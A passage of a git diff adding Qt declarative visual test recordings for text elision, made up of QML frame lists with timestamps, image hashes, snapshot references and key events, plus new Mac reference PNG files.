+ msec: 464
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 480
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 496
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 512
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 528
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 544
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 560
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 576
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 592
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 608
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 624
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 640
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 656
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 672
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 688
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 704
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 720
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 736
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 752
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 768
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 784
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 800
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 816
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 832
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 848
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 864
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 880
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 896
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 912
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 928
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 944
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 960
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 976
+ image: "elide.1.png"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 992
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 1008
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 1024
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 1040
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 1056
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.0.png
new file mode 100644
index 00000000..b84b8a91
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.1.png
new file mode 100644
index 00000000..dbae0ce2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.2.png
new file mode 100644
index 00000000..bf56c80f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.3.png
new file mode 100644
index 00000000..c4f6e180
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.4.png
new file mode 100644
index 00000000..ea86925f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.qml
new file mode 100644
index 00000000..e780ea65
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide2.qml
@@ -0,0 +1,991 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "elide2.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "1c45bbf4494aeb017d7ad53c5e29cbc0"
+ }
+ Frame {
+ msec: 48
+ hash: "1c45bbf4494aeb017d7ad53c5e29cbc0"
+ }
+ Frame {
+ msec: 64
+ hash: "1c45bbf4494aeb017d7ad53c5e29cbc0"
+ }
+ Frame {
+ msec: 80
+ hash: "1c45bbf4494aeb017d7ad53c5e29cbc0"
+ }
+ Frame {
+ msec: 96
+ hash: "1c45bbf4494aeb017d7ad53c5e29cbc0"
+ }
+ Frame {
+ msec: 112
+ hash: "452d8e4da326413e4961f20a0d24d0f0"
+ }
+ Frame {
+ msec: 128
+ hash: "452d8e4da326413e4961f20a0d24d0f0"
+ }
+ Frame {
+ msec: 144
+ hash: "452d8e4da326413e4961f20a0d24d0f0"
+ }
+ Frame {
+ msec: 160
+ hash: "452d8e4da326413e4961f20a0d24d0f0"
+ }
+ Frame {
+ msec: 176
+ hash: "452d8e4da326413e4961f20a0d24d0f0"
+ }
+ Frame {
+ msec: 192
+ hash: "8dc43f316fd36a877c773c10c23b5703"
+ }
+ Frame {
+ msec: 208
+ hash: "8dc43f316fd36a877c773c10c23b5703"
+ }
+ Frame {
+ msec: 224
+ hash: "8dc43f316fd36a877c773c10c23b5703"
+ }
+ Frame {
+ msec: 240
+ hash: "8dc43f316fd36a877c773c10c23b5703"
+ }
+ Frame {
+ msec: 256
+ hash: "b7e055ce8d510c5ec66e71fa5a78fddf"
+ }
+ Frame {
+ msec: 272
+ hash: "b7e055ce8d510c5ec66e71fa5a78fddf"
+ }
+ Frame {
+ msec: 288
+ hash: "b7e055ce8d510c5ec66e71fa5a78fddf"
+ }
+ Frame {
+ msec: 304
+ hash: "b7e055ce8d510c5ec66e71fa5a78fddf"
+ }
+ Frame {
+ msec: 320
+ hash: "e9b0abe5719027348cd267eb4823fc5f"
+ }
+ Frame {
+ msec: 336
+ hash: "e9b0abe5719027348cd267eb4823fc5f"
+ }
+ Frame {
+ msec: 352
+ hash: "e9b0abe5719027348cd267eb4823fc5f"
+ }
+ Frame {
+ msec: 368
+ hash: "e9b0abe5719027348cd267eb4823fc5f"
+ }
+ Frame {
+ msec: 384
+ hash: "e9b0abe5719027348cd267eb4823fc5f"
+ }
+ Frame {
+ msec: 400
+ hash: "441102f2f69e9f4e10335c1746d47bd3"
+ }
+ Frame {
+ msec: 416
+ hash: "441102f2f69e9f4e10335c1746d47bd3"
+ }
+ Frame {
+ msec: 432
+ hash: "441102f2f69e9f4e10335c1746d47bd3"
+ }
+ Frame {
+ msec: 448
+ hash: "441102f2f69e9f4e10335c1746d47bd3"
+ }
+ Frame {
+ msec: 464
+ hash: "441102f2f69e9f4e10335c1746d47bd3"
+ }
+ Frame {
+ msec: 480
+ hash: "95668288170720989adde2a0b41d5ee8"
+ }
+ Frame {
+ msec: 496
+ hash: "95668288170720989adde2a0b41d5ee8"
+ }
+ Frame {
+ msec: 512
+ hash: "95668288170720989adde2a0b41d5ee8"
+ }
+ Frame {
+ msec: 528
+ hash: "95668288170720989adde2a0b41d5ee8"
+ }
+ Frame {
+ msec: 544
+ hash: "16bba6b72993e474b4c302af3f682834"
+ }
+ Frame {
+ msec: 560
+ hash: "16bba6b72993e474b4c302af3f682834"
+ }
+ Frame {
+ msec: 576
+ hash: "16bba6b72993e474b4c302af3f682834"
+ }
+ Frame {
+ msec: 592
+ hash: "16bba6b72993e474b4c302af3f682834"
+ }
+ Frame {
+ msec: 608
+ hash: "86c4d8bd1b19116411b6a6e450547425"
+ }
+ Frame {
+ msec: 624
+ hash: "86c4d8bd1b19116411b6a6e450547425"
+ }
+ Frame {
+ msec: 640
+ hash: "86c4d8bd1b19116411b6a6e450547425"
+ }
+ Frame {
+ msec: 656
+ hash: "86c4d8bd1b19116411b6a6e450547425"
+ }
+ Frame {
+ msec: 672
+ hash: "86c4d8bd1b19116411b6a6e450547425"
+ }
+ Frame {
+ msec: 688
+ hash: "d0d3cfa922ebca20c590ab7e59985268"
+ }
+ Frame {
+ msec: 704
+ hash: "d0d3cfa922ebca20c590ab7e59985268"
+ }
+ Frame {
+ msec: 720
+ hash: "d0d3cfa922ebca20c590ab7e59985268"
+ }
+ Frame {
+ msec: 736
+ hash: "d0d3cfa922ebca20c590ab7e59985268"
+ }
+ Frame {
+ msec: 752
+ hash: "d0d3cfa922ebca20c590ab7e59985268"
+ }
+ Frame {
+ msec: 768
+ hash: "397d72a090171090f897283729b19bc8"
+ }
+ Frame {
+ msec: 784
+ hash: "397d72a090171090f897283729b19bc8"
+ }
+ Frame {
+ msec: 800
+ hash: "397d72a090171090f897283729b19bc8"
+ }
+ Frame {
+ msec: 816
+ hash: "397d72a090171090f897283729b19bc8"
+ }
+ Frame {
+ msec: 832
+ hash: "2b038e59289d2e3cef02245d2d128271"
+ }
+ Frame {
+ msec: 848
+ hash: "2b038e59289d2e3cef02245d2d128271"
+ }
+ Frame {
+ msec: 864
+ hash: "2b038e59289d2e3cef02245d2d128271"
+ }
+ Frame {
+ msec: 880
+ hash: "2b038e59289d2e3cef02245d2d128271"
+ }
+ Frame {
+ msec: 896
+ hash: "2b038e59289d2e3cef02245d2d128271"
+ }
+ Frame {
+ msec: 912
+ hash: "5f64aa763acdd8f5d6cc249be36e226a"
+ }
+ Frame {
+ msec: 928
+ hash: "5f64aa763acdd8f5d6cc249be36e226a"
+ }
+ Frame {
+ msec: 944
+ hash: "5f64aa763acdd8f5d6cc249be36e226a"
+ }
+ Frame {
+ msec: 960
+ hash: "5f64aa763acdd8f5d6cc249be36e226a"
+ }
+ Frame {
+ msec: 976
+ image: "elide2.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "4f8c81adc72fce17c7e54f4d45ec08e4"
+ }
+ Frame {
+ msec: 1008
+ hash: "4f8c81adc72fce17c7e54f4d45ec08e4"
+ }
+ Frame {
+ msec: 1024
+ hash: "4f8c81adc72fce17c7e54f4d45ec08e4"
+ }
+ Frame {
+ msec: 1040
+ hash: "91a7a0c0f686975d0087ee0e066911eb"
+ }
+ Frame {
+ msec: 1056
+ hash: "91a7a0c0f686975d0087ee0e066911eb"
+ }
+ Frame {
+ msec: 1072
+ hash: "91a7a0c0f686975d0087ee0e066911eb"
+ }
+ Frame {
+ msec: 1088
+ hash: "91a7a0c0f686975d0087ee0e066911eb"
+ }
+ Frame {
+ msec: 1104
+ hash: "91a7a0c0f686975d0087ee0e066911eb"
+ }
+ Frame {
+ msec: 1120
+ hash: "b19f6b8b4dc9d2a2d9aba82983e41889"
+ }
+ Frame {
+ msec: 1136
+ hash: "b19f6b8b4dc9d2a2d9aba82983e41889"
+ }
+ Frame {
+ msec: 1152
+ hash: "b19f6b8b4dc9d2a2d9aba82983e41889"
+ }
+ Frame {
+ msec: 1168
+ hash: "b19f6b8b4dc9d2a2d9aba82983e41889"
+ }
+ Frame {
+ msec: 1184
+ hash: "b19f6b8b4dc9d2a2d9aba82983e41889"
+ }
+ Frame {
+ msec: 1200
+ hash: "456542b672303ddae500b96e9b66a558"
+ }
+ Frame {
+ msec: 1216
+ hash: "456542b672303ddae500b96e9b66a558"
+ }
+ Frame {
+ msec: 1232
+ hash: "456542b672303ddae500b96e9b66a558"
+ }
+ Frame {
+ msec: 1248
+ hash: "456542b672303ddae500b96e9b66a558"
+ }
+ Frame {
+ msec: 1264
+ hash: "8ec69f05d929c3b397dc721198ccacd4"
+ }
+ Frame {
+ msec: 1280
+ hash: "8ec69f05d929c3b397dc721198ccacd4"
+ }
+ Frame {
+ msec: 1296
+ hash: "8ec69f05d929c3b397dc721198ccacd4"
+ }
+ Frame {
+ msec: 1312
+ hash: "8ec69f05d929c3b397dc721198ccacd4"
+ }
+ Frame {
+ msec: 1328
+ hash: "2d63fd91f4b01f6b178c795838e78990"
+ }
+ Frame {
+ msec: 1344
+ hash: "2d63fd91f4b01f6b178c795838e78990"
+ }
+ Frame {
+ msec: 1360
+ hash: "2d63fd91f4b01f6b178c795838e78990"
+ }
+ Frame {
+ msec: 1376
+ hash: "2d63fd91f4b01f6b178c795838e78990"
+ }
+ Frame {
+ msec: 1392
+ hash: "2d63fd91f4b01f6b178c795838e78990"
+ }
+ Frame {
+ msec: 1408
+ hash: "c7c1d2c288653b414fe534ff6fab3381"
+ }
+ Frame {
+ msec: 1424
+ hash: "c7c1d2c288653b414fe534ff6fab3381"
+ }
+ Frame {
+ msec: 1440
+ hash: "c7c1d2c288653b414fe534ff6fab3381"
+ }
+ Frame {
+ msec: 1456
+ hash: "c7c1d2c288653b414fe534ff6fab3381"
+ }
+ Frame {
+ msec: 1472
+ hash: "c7c1d2c288653b414fe534ff6fab3381"
+ }
+ Frame {
+ msec: 1488
+ hash: "23188e926a855a7a06211783ee51d22a"
+ }
+ Frame {
+ msec: 1504
+ hash: "23188e926a855a7a06211783ee51d22a"
+ }
+ Frame {
+ msec: 1520
+ hash: "23188e926a855a7a06211783ee51d22a"
+ }
+ Frame {
+ msec: 1536
+ hash: "23188e926a855a7a06211783ee51d22a"
+ }
+ Frame {
+ msec: 1552
+ hash: "cfc64d8876d59e0d75f079c2e08cea5f"
+ }
+ Frame {
+ msec: 1568
+ hash: "cfc64d8876d59e0d75f079c2e08cea5f"
+ }
+ Frame {
+ msec: 1584
+ hash: "cfc64d8876d59e0d75f079c2e08cea5f"
+ }
+ Frame {
+ msec: 1600
+ hash: "cfc64d8876d59e0d75f079c2e08cea5f"
+ }
+ Frame {
+ msec: 1616
+ hash: "cfc64d8876d59e0d75f079c2e08cea5f"
+ }
+ Frame {
+ msec: 1632
+ hash: "766c679eaec4bd28dc92cb3642d5be83"
+ }
+ Frame {
+ msec: 1648
+ hash: "766c679eaec4bd28dc92cb3642d5be83"
+ }
+ Frame {
+ msec: 1664
+ hash: "766c679eaec4bd28dc92cb3642d5be83"
+ }
+ Frame {
+ msec: 1680
+ hash: "766c679eaec4bd28dc92cb3642d5be83"
+ }
+ Frame {
+ msec: 1696
+ hash: "a86ba05a854fde208e6cf7849327d5d0"
+ }
+ Frame {
+ msec: 1712
+ hash: "a86ba05a854fde208e6cf7849327d5d0"
+ }
+ Frame {
+ msec: 1728
+ hash: "a86ba05a854fde208e6cf7849327d5d0"
+ }
+ Frame {
+ msec: 1744
+ hash: "a86ba05a854fde208e6cf7849327d5d0"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1760
+ hash: "a86ba05a854fde208e6cf7849327d5d0"
+ }
+ Frame {
+ msec: 1776
+ hash: "23b60817be2a741cada2af663b0d7f54"
+ }
+ Frame {
+ msec: 1792
+ hash: "23b60817be2a741cada2af663b0d7f54"
+ }
+ Frame {
+ msec: 1808
+ hash: "23b60817be2a741cada2af663b0d7f54"
+ }
+ Frame {
+ msec: 1824
+ hash: "23b60817be2a741cada2af663b0d7f54"
+ }
+ Frame {
+ msec: 1840
+ hash: "c098c1c0d5239c59735a5c9450e9d531"
+ }
+ Frame {
+ msec: 1856
+ hash: "c098c1c0d5239c59735a5c9450e9d531"
+ }
+ Frame {
+ msec: 1872
+ hash: "c098c1c0d5239c59735a5c9450e9d531"
+ }
+ Frame {
+ msec: 1888
+ hash: "c098c1c0d5239c59735a5c9450e9d531"
+ }
+ Frame {
+ msec: 1904
+ hash: "c098c1c0d5239c59735a5c9450e9d531"
+ }
+ Frame {
+ msec: 1920
+ hash: "09f6ee218d314d3a405ae43e32588c07"
+ }
+ Frame {
+ msec: 1936
+ image: "elide2.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "09f6ee218d314d3a405ae43e32588c07"
+ }
+ Frame {
+ msec: 1968
+ hash: "09f6ee218d314d3a405ae43e32588c07"
+ }
+ Frame {
+ msec: 1984
+ hash: "6ee480e7d8b0abe295ae12a660119102"
+ }
+ Frame {
+ msec: 2000
+ hash: "6ee480e7d8b0abe295ae12a660119102"
+ }
+ Frame {
+ msec: 2016
+ hash: "6ee480e7d8b0abe295ae12a660119102"
+ }
+ Frame {
+ msec: 2032
+ hash: "6ee480e7d8b0abe295ae12a660119102"
+ }
+ Frame {
+ msec: 2048
+ hash: "6ee480e7d8b0abe295ae12a660119102"
+ }
+ Frame {
+ msec: 2064
+ hash: "b43ca0ea75f4c17c09248f78170d3839"
+ }
+ Frame {
+ msec: 2080
+ hash: "b43ca0ea75f4c17c09248f78170d3839"
+ }
+ Frame {
+ msec: 2096
+ hash: "b43ca0ea75f4c17c09248f78170d3839"
+ }
+ Frame {
+ msec: 2112
+ hash: "b43ca0ea75f4c17c09248f78170d3839"
+ }
+ Frame {
+ msec: 2128
+ hash: "92e0ee1174ffcb710403bb831aeec353"
+ }
+ Frame {
+ msec: 2144
+ hash: "92e0ee1174ffcb710403bb831aeec353"
+ }
+ Frame {
+ msec: 2160
+ hash: "92e0ee1174ffcb710403bb831aeec353"
+ }
+ Frame {
+ msec: 2176
+ hash: "92e0ee1174ffcb710403bb831aeec353"
+ }
+ Frame {
+ msec: 2192
+ hash: "92e0ee1174ffcb710403bb831aeec353"
+ }
+ Frame {
+ msec: 2208
+ hash: "bba79ad6f3630b7aa382541cc2d3a2cd"
+ }
+ Frame {
+ msec: 2224
+ hash: "bba79ad6f3630b7aa382541cc2d3a2cd"
+ }
+ Frame {
+ msec: 2240
+ hash: "bba79ad6f3630b7aa382541cc2d3a2cd"
+ }
+ Frame {
+ msec: 2256
+ hash: "bba79ad6f3630b7aa382541cc2d3a2cd"
+ }
+ Frame {
+ msec: 2272
+ hash: "7efeb1565125f25252ce3f03dadc3bea"
+ }
+ Frame {
+ msec: 2288
+ hash: "7efeb1565125f25252ce3f03dadc3bea"
+ }
+ Frame {
+ msec: 2304
+ hash: "7efeb1565125f25252ce3f03dadc3bea"
+ }
+ Frame {
+ msec: 2320
+ hash: "7efeb1565125f25252ce3f03dadc3bea"
+ }
+ Frame {
+ msec: 2336
+ hash: "7efeb1565125f25252ce3f03dadc3bea"
+ }
+ Frame {
+ msec: 2352
+ hash: "9086d24dff90f8c9e4543c6b14c99bf6"
+ }
+ Frame {
+ msec: 2368
+ hash: "9086d24dff90f8c9e4543c6b14c99bf6"
+ }
+ Frame {
+ msec: 2384
+ hash: "9086d24dff90f8c9e4543c6b14c99bf6"
+ }
+ Frame {
+ msec: 2400
+ hash: "9086d24dff90f8c9e4543c6b14c99bf6"
+ }
+ Frame {
+ msec: 2416
+ hash: "9086d24dff90f8c9e4543c6b14c99bf6"
+ }
+ Frame {
+ msec: 2432
+ hash: "15d8e99a0676e0a1588dfddc00ab0d16"
+ }
+ Frame {
+ msec: 2448
+ hash: "15d8e99a0676e0a1588dfddc00ab0d16"
+ }
+ Frame {
+ msec: 2464
+ hash: "15d8e99a0676e0a1588dfddc00ab0d16"
+ }
+ Frame {
+ msec: 2480
+ hash: "15d8e99a0676e0a1588dfddc00ab0d16"
+ }
+ Frame {
+ msec: 2496
+ hash: "ecc25b88c29dc9d6c70df6e36a91f95c"
+ }
+ Frame {
+ msec: 2512
+ hash: "ecc25b88c29dc9d6c70df6e36a91f95c"
+ }
+ Frame {
+ msec: 2528
+ hash: "ecc25b88c29dc9d6c70df6e36a91f95c"
+ }
+ Frame {
+ msec: 2544
+ hash: "ecc25b88c29dc9d6c70df6e36a91f95c"
+ }
+ Frame {
+ msec: 2560
+ hash: "905c81686d8d2ecdde513622c35c0ea6"
+ }
+ Frame {
+ msec: 2576
+ hash: "905c81686d8d2ecdde513622c35c0ea6"
+ }
+ Frame {
+ msec: 2592
+ hash: "905c81686d8d2ecdde513622c35c0ea6"
+ }
+ Frame {
+ msec: 2608
+ hash: "905c81686d8d2ecdde513622c35c0ea6"
+ }
+ Frame {
+ msec: 2624
+ hash: "905c81686d8d2ecdde513622c35c0ea6"
+ }
+ Frame {
+ msec: 2640
+ hash: "537a2cf41a5e15220d2ca2218ac49a5a"
+ }
+ Frame {
+ msec: 2656
+ hash: "537a2cf41a5e15220d2ca2218ac49a5a"
+ }
+ Frame {
+ msec: 2672
+ hash: "537a2cf41a5e15220d2ca2218ac49a5a"
+ }
+ Frame {
+ msec: 2688
+ hash: "537a2cf41a5e15220d2ca2218ac49a5a"
+ }
+ Frame {
+ msec: 2704
+ hash: "53325ce7d011eeb72369463721f15e87"
+ }
+ Frame {
+ msec: 2720
+ hash: "53325ce7d011eeb72369463721f15e87"
+ }
+ Frame {
+ msec: 2736
+ hash: "53325ce7d011eeb72369463721f15e87"
+ }
+ Frame {
+ msec: 2752
+ hash: "53325ce7d011eeb72369463721f15e87"
+ }
+ Frame {
+ msec: 2768
+ hash: "53325ce7d011eeb72369463721f15e87"
+ }
+ Frame {
+ msec: 2784
+ hash: "9ad2565cc95647a83d3ce3acc106485a"
+ }
+ Frame {
+ msec: 2800
+ hash: "9ad2565cc95647a83d3ce3acc106485a"
+ }
+ Frame {
+ msec: 2816
+ hash: "9ad2565cc95647a83d3ce3acc106485a"
+ }
+ Frame {
+ msec: 2832
+ hash: "9ad2565cc95647a83d3ce3acc106485a"
+ }
+ Frame {
+ msec: 2848
+ hash: "de7b66581e0743385a984f76c993b01b"
+ }
+ Frame {
+ msec: 2864
+ hash: "de7b66581e0743385a984f76c993b01b"
+ }
+ Frame {
+ msec: 2880
+ hash: "de7b66581e0743385a984f76c993b01b"
+ }
+ Frame {
+ msec: 2896
+ image: "elide2.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "de7b66581e0743385a984f76c993b01b"
+ }
+ Frame {
+ msec: 2928
+ hash: "f66852df1738e4fe29ac1f6938d814c2"
+ }
+ Frame {
+ msec: 2944
+ hash: "f66852df1738e4fe29ac1f6938d814c2"
+ }
+ Frame {
+ msec: 2960
+ hash: "f66852df1738e4fe29ac1f6938d814c2"
+ }
+ Frame {
+ msec: 2976
+ hash: "f66852df1738e4fe29ac1f6938d814c2"
+ }
+ Frame {
+ msec: 2992
+ hash: "cf6dde6c590879a9e905a0f559f089ca"
+ }
+ Frame {
+ msec: 3008
+ hash: "cf6dde6c590879a9e905a0f559f089ca"
+ }
+ Frame {
+ msec: 3024
+ hash: "cf6dde6c590879a9e905a0f559f089ca"
+ }
+ Frame {
+ msec: 3040
+ hash: "cf6dde6c590879a9e905a0f559f089ca"
+ }
+ Frame {
+ msec: 3056
+ hash: "cf6dde6c590879a9e905a0f559f089ca"
+ }
+ Frame {
+ msec: 3072
+ hash: "bd63e4df280010ed9f67fc7976b86cb5"
+ }
+ Frame {
+ msec: 3088
+ hash: "bd63e4df280010ed9f67fc7976b86cb5"
+ }
+ Frame {
+ msec: 3104
+ hash: "bd63e4df280010ed9f67fc7976b86cb5"
+ }
+ Frame {
+ msec: 3120
+ hash: "bd63e4df280010ed9f67fc7976b86cb5"
+ }
+ Frame {
+ msec: 3136
+ hash: "bd63e4df280010ed9f67fc7976b86cb5"
+ }
+ Frame {
+ msec: 3152
+ hash: "065d3d370faa58aed9899cae0f86f032"
+ }
+ Frame {
+ msec: 3168
+ hash: "065d3d370faa58aed9899cae0f86f032"
+ }
+ Frame {
+ msec: 3184
+ hash: "065d3d370faa58aed9899cae0f86f032"
+ }
+ Frame {
+ msec: 3200
+ hash: "065d3d370faa58aed9899cae0f86f032"
+ }
+ Frame {
+ msec: 3216
+ hash: "b5623d05c578a6f09bcfacd4d3163b09"
+ }
+ Frame {
+ msec: 3232
+ hash: "b5623d05c578a6f09bcfacd4d3163b09"
+ }
+ Frame {
+ msec: 3248
+ hash: "b5623d05c578a6f09bcfacd4d3163b09"
+ }
+ Frame {
+ msec: 3264
+ hash: "b5623d05c578a6f09bcfacd4d3163b09"
+ }
+ Frame {
+ msec: 3280
+ hash: "83c70529d05911ea26a5cbbab5aa20f2"
+ }
+ Frame {
+ msec: 3296
+ hash: "83c70529d05911ea26a5cbbab5aa20f2"
+ }
+ Frame {
+ msec: 3312
+ hash: "83c70529d05911ea26a5cbbab5aa20f2"
+ }
+ Frame {
+ msec: 3328
+ hash: "83c70529d05911ea26a5cbbab5aa20f2"
+ }
+ Frame {
+ msec: 3344
+ hash: "83c70529d05911ea26a5cbbab5aa20f2"
+ }
+ Frame {
+ msec: 3360
+ hash: "17927c706da1bc222ba5462af66a9d2f"
+ }
+ Frame {
+ msec: 3376
+ hash: "17927c706da1bc222ba5462af66a9d2f"
+ }
+ Frame {
+ msec: 3392
+ hash: "17927c706da1bc222ba5462af66a9d2f"
+ }
+ Frame {
+ msec: 3408
+ hash: "17927c706da1bc222ba5462af66a9d2f"
+ }
+ Frame {
+ msec: 3424
+ hash: "17927c706da1bc222ba5462af66a9d2f"
+ }
+ Frame {
+ msec: 3440
+ hash: "f49627ba8d3e257e0e94404da24d12dc"
+ }
+ Frame {
+ msec: 3456
+ hash: "f49627ba8d3e257e0e94404da24d12dc"
+ }
+ Frame {
+ msec: 3472
+ hash: "f49627ba8d3e257e0e94404da24d12dc"
+ }
+ Frame {
+ msec: 3488
+ hash: "f49627ba8d3e257e0e94404da24d12dc"
+ }
+ Frame {
+ msec: 3504
+ hash: "37a0c9dc20431c8398409d4522a0fdd3"
+ }
+ Frame {
+ msec: 3520
+ hash: "37a0c9dc20431c8398409d4522a0fdd3"
+ }
+ Frame {
+ msec: 3536
+ hash: "37a0c9dc20431c8398409d4522a0fdd3"
+ }
+ Frame {
+ msec: 3552
+ hash: "37a0c9dc20431c8398409d4522a0fdd3"
+ }
+ Frame {
+ msec: 3568
+ hash: "67bebfe9fb5ac745f40040ff8083e999"
+ }
+ Frame {
+ msec: 3584
+ hash: "67bebfe9fb5ac745f40040ff8083e999"
+ }
+ Frame {
+ msec: 3600
+ hash: "67bebfe9fb5ac745f40040ff8083e999"
+ }
+ Frame {
+ msec: 3616
+ hash: "67bebfe9fb5ac745f40040ff8083e999"
+ }
+ Frame {
+ msec: 3632
+ hash: "67bebfe9fb5ac745f40040ff8083e999"
+ }
+ Frame {
+ msec: 3648
+ hash: "84f8b27b83b566c99e65ea39b29772c1"
+ }
+ Frame {
+ msec: 3664
+ hash: "84f8b27b83b566c99e65ea39b29772c1"
+ }
+ Frame {
+ msec: 3680
+ hash: "84f8b27b83b566c99e65ea39b29772c1"
+ }
+ Frame {
+ msec: 3696
+ hash: "84f8b27b83b566c99e65ea39b29772c1"
+ }
+ Frame {
+ msec: 3712
+ hash: "84f8b27b83b566c99e65ea39b29772c1"
+ }
+ Frame {
+ msec: 3728
+ hash: "c6ba663536f19b9f291ef35b7a70e490"
+ }
+ Frame {
+ msec: 3744
+ hash: "c6ba663536f19b9f291ef35b7a70e490"
+ }
+ Frame {
+ msec: 3760
+ hash: "c6ba663536f19b9f291ef35b7a70e490"
+ }
+ Frame {
+ msec: 3776
+ hash: "c6ba663536f19b9f291ef35b7a70e490"
+ }
+ Frame {
+ msec: 3792
+ hash: "65f22784730aa27b2628d015a1cc4abe"
+ }
+ Frame {
+ msec: 3808
+ hash: "65f22784730aa27b2628d015a1cc4abe"
+ }
+ Frame {
+ msec: 3824
+ hash: "65f22784730aa27b2628d015a1cc4abe"
+ }
+ Frame {
+ msec: 3840
+ hash: "65f22784730aa27b2628d015a1cc4abe"
+ }
+ Frame {
+ msec: 3856
+ image: "elide2.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "b11a511d80de87329501b9c11aebbc58"
+ }
+ Frame {
+ msec: 3888
+ hash: "b11a511d80de87329501b9c11aebbc58"
+ }
+ Frame {
+ msec: 3904
+ hash: "b11a511d80de87329501b9c11aebbc58"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/multilength.0.png
new file mode 100644
index 00000000..3861b4f2
--- /dev/null
